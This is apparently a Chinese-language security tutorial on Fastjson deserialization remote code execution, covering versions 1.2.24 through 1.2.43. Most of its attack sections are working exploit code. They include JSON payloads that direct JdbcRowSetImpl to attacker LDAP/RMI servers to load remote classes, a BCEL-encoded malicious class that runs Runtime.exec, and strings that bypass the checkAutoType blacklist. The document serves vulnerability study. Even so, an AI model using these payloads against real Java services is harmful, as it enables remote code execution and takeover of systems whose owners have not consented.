0x 01 简介

1
2

Fastjson 是阿里巴巴公司开源的一个高性能 JSON 库,用于 Java 应用程序中的 JSON 解析和生成。它提供了快速且简洁的方式将 Java 对象与 JSON 数据之间进行序列化和操作。由于其高效的性能和广泛的功能,Fastjson 被许多开发者所采用。

0x 02 Demo

一个简单的Fastjson的demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import com.alibaba.fastjson.JSON;

class Person {
private String name;
private int age;

public Person(String name, int age) {
this.name = name;
this.age = age;
}
public Person(){

}

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}

public void setAge(int age) {
this.age = age;
}

@Override
public String toString() {
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
}
public class Demo {
public static void main(String[] args) {
Person person =new Person("Dragonkeep",22);
//序列化类
String person2string=JSON.toJSONString(person);
System.out.println(person2string);
//
Person string2person= (Person) JSON.parseObject(person2string,Person.class);
System.out.println(string2person);
}
}

这里要注意fastjson底层是反射调用,所以在的时候,要调用无参构造函数,如果Person中没有无参构造函数就会报错。

0x 03 前置知识

  • 在时,parse触发了set方法,parseObject同时触发了set和get方法。
  • fastjson不需要继承serializable接口
  • 不需要变量不是transient
  • 变量要有对应的setter方法(时自动调用)
  • 满足条件的getter方法
  • 执行点还是动态类加载和反射

0x 02 漏洞利用及其版本绕过

1.fastjson<1.2.24

依赖:

1
2
3
4
5
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>

JdbcRowSetImpl类+JNDI注入

限制条件是要出网。
调用链:
利用fastjson自动调用类setter方法的特性–> setAutoCommit->connect->lookup。
因为lookup参数是DataSource类,所以还要将dataSourceName参数设置为指定的恶意rmi或者ldap服务地址。
关键payload:

1
{"@type": "com.sun.rowset.JdbcRowSetImpl","dataSourceName": "ldap://192.168.56.1:8085/jmqnaTRY","autoCommit": true}"

autoCommit的值设置为true和false都一样,这里只是为了触发它的setter方法来调用setAutoCommiit方法,dataSourceName的值设置为恶意ldap服务地址,在getDataSourceName方法返回这个字符串来进行lookup调用。
主要代码截图:
image.pngimage.png
image.png
exp:

1
2
3
4
5
6
7
8
9
import com.alibaba.fastjson.JSON;

public class payload {
public static void main(String[] args) {
String s ="{\"@type\": \"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\": \"ldap://192.168.56.1:8085/jmqnaTRY\",\"autoCommit\": false}";
JSON.parseObject(s);
}
}

FastJsonBcel类+动态类加载

这个其实上面那个一样,只是使用jdk内置类中的方法进行动态类加载,可以实现不出网rce。
前置知识:

  • Class.forName方法在动态类加载中默认初始化,从而执行静态代码块。而且在下面的forName中参数initialize是设置为true。

调用链:
利用fastjson自动调用getter方法->getConnect方法->createDataSource方法->createConnectionFactory方法->forName方法->loadClass->defineClass.
关键代码截图:
image.png
image.png
image.png
注意点:

  • 因为调用的是forName方法,所以在加载的class文件中的静态代码块写入恶意类。

恶意类:

1
2
3
4
5
6
7
8
9
10
11
12

import java.lang.Runtime;

public class Calc {
static {
try {
Runtime.getRuntime().exec("calc");
}catch (Exception e){
e.printStackTrace();
}
}
}

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import java.io.*;
import com.alibaba.fastjson.JSON;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import org.apache.tomcat.dbcp.dbcp.BasicDataSource;


public class FastJsonBcel {
public static void main(String[] args) throws Exception{
ClassLoader classLoader = new ClassLoader();
byte[] bytes = convert("C:\\Users\\86133\\IdeaProjects\\fastjson_test\\fastjson1.2.24-rce\\src\\main\\java\\Calc.class");
String code = Utility.encode(bytes,true);
//classLoader.loadClass("$$BCEL$$"+code).newInstance();

//链子构造过程,其实就是fastjson的过程
// BasicDataSource basicDataSource = new BasicDataSource();
// basicDataSource.setDriverClassLoader(classLoader);
// basicDataSource.setDriverClassName("$$BCEL$$"+code);
// basicDataSource.getConnection();

String s = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp.BasicDataSource\",\"DriverClassName\":\"$$BCEL$$"+ code +"\",\"DriverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}";

//parseObject是先parse后toJSON,这样我们才能调用get方法:getConnection()
JSON.parseObject(s);
}

private static byte[] convert(String filePath) throws IOException {
File file = new File(filePath);
// 检查文件是否存在
if (!file.exists()) {
throw new FileNotFoundException("文件未找到:" + filePath);
}
// 将文件内容读取到字节数组中
try (InputStream inputStream = new FileInputStream(file)) {
ByteArrayOutputStream byteOutput = new ByteArrayOutputStream();
byte[] buffer = new byte[4096];
int bytesRead;

while ((bytesRead = inputStream.read(buffer)) != -1) {
byteOutput.write(buffer, 0, bytesRead);
}

return byteOutput.toByteArray();
}
}
}

2.fastjson<1.2.27

依赖:

1
2
3
4
5
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.25</version>
</dependency>

漏洞修复:
在1.2.25中,对@type进行了修复,检测了是否能够进行AutoType,而1.2.24在这里是直接进行loadClass,所以我们就要对这里进行一个绕过,跟进一下这个函数(checkAutoType):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
    public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (typeName == null) {
return null;
} else {
String className = typeName.replace('$', '.');
if (this.autoTypeSupport || expectClass != null) {
int i;
String deny;
for(i = 0; i < this.acceptList.length; ++i) {
deny = this.acceptList[i];
if (className.startsWith(deny)) {
return TypeUtils.loadClass(typeName, this.defaultClassLoader);
}
}

for(i = 0; i < this.denyList.length; ++i) {
deny = this.denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}

Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
clazz = this.deserializers.findClass(typeName);
}

if (clazz != null) {
if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
} else {
return clazz;
}
} else {
if (!this.autoTypeSupport) {
String accept;
int i;
for(i = 0; i < this.denyList.length; ++i) {
accept = this.denyList[i];
if (className.startsWith(accept)) {
throw new JSONException("autoType is not support. " + typeName);
}
}

for(i = 0; i < this.acceptList.length; ++i) {
accept = this.acceptList[i];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}
}
}

if (this.autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
}

if (clazz != null) {
if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz)) {
throw new JSONException("autoType is not support. " + typeName);
}

if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
}

throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}

if (!this.autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
} else {
return clazz;
}
}
}
}

static {
String property = IOUtils.getStringProperty("fastjson.parser.deny");
DENYS = splitItemsFormProperty(property);
property = IOUtils.getStringProperty("fastjson.parser.autoTypeSupport");
AUTO_SUPPORT = "true".equals(property);
property = IOUtils.getStringProperty("fastjson.parser.autoTypeAccept");
String[] items = splitItemsFormProperty(property);
if (items == null) {
items = new String[0];
}

AUTO_TYPE_ACCEPT_LIST = items;
global = new ParserConfig();
awtError = false;
jdk8Error = false;
}
}

提取出主要的参数:

  • acceptList:这个是白名单
  • denyList:这个是黑名单
  • ….

简单看的话就是一下流程:

简单来说:要先从缓存中加载出恶意的class,下次加载时候就可以绕过检查,本质上还是checkAutoType函数缺陷。
主要代码截图:
image.png
image.png
image.png
image.png
image.png
exp:

1
2
3
4
5
6
7
8
9
10
import com.alibaba.fastjson.JSON;

public class payload {
public static void main(String[] args) {
//先在缓存里面加载com.sun.rowset.JdbcRowSetImpl类缓存
String s ="{{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://172.29.17.34:8085/EqcyncRd\",\"autoCommit\":true}}";
JSON.parseObject(s);
}
}

3.fastjson1.2.25-1.2.41

大前提:要开启AutoType的情况下才可以使用,AutoType指的是checkAutoType函数下的autoTypeSupport。
我们上面提到了在缓存中获取类的下面有两个判断,也就是说在我们开启AutoType的情况下可以用下面两种方式来进行绕过:

  • • 如果以[开头则去掉[后进行类加载(在之前Fastjson已经判断过是否为数组了,实际走不到这一步)
  • • 如果以L开头,以;结尾,则去掉开头和结尾进行类加载

所以我们用下面这个就可以绕过黑名单进行加载,开启AutoType:
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class payload {
public static void main(String[] args) {
//注意:要开启AutoType的情况下才可以使用,AutoType指的是checkAutoType函数下的autoTypeSupport,即:
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
//第一步:一个Class类,值为恶意类
//用之前payload从缓存中继续加载
//String s="{{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://172.29.16.190:8085/yDqiTimo\",\"AutoCommit\":false}}";
String s="{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"DataSourceName\":\"ldap://172.29.16.190:8085/yDqiTimo\",\"AutoCommit\":1}";
JSON.parseObject(s);

}
}

5.fastjson1.2.42-pass

使用LL;;进行绕过,不需要AutoType。
exp:

1
2
3
4
5
6
7
8
9
import com.alibaba.fastjson.JSON;

public class payload {
public static void main(String[] args) {
String s="{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"DataSourceName\":\"ldap://172.29.16.190:8085/yDqiTimo\",\"AutoCommit\":1}";
JSON.parseObject(s);
}
}

5.fastjson1.2.43-pass

原理类似不阐述了。也是使用[,{等进行绕过,当然也得开启AutoType。
exp:

1
2
3
4
5
6
7
8
9
10
11
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class payload {
public static void main(String[] args) {
//注意:要开启AutoType的情况下才可以使用,AutoType指的是checkAutoType函数下的autoTypeSupport,即:
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String s="{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"DataSourceName\":\"ldap://172.29.16.190:8085/yDqiTimo\",\"AutoCommit\":1}";
JSON.parseObject(s);
}
}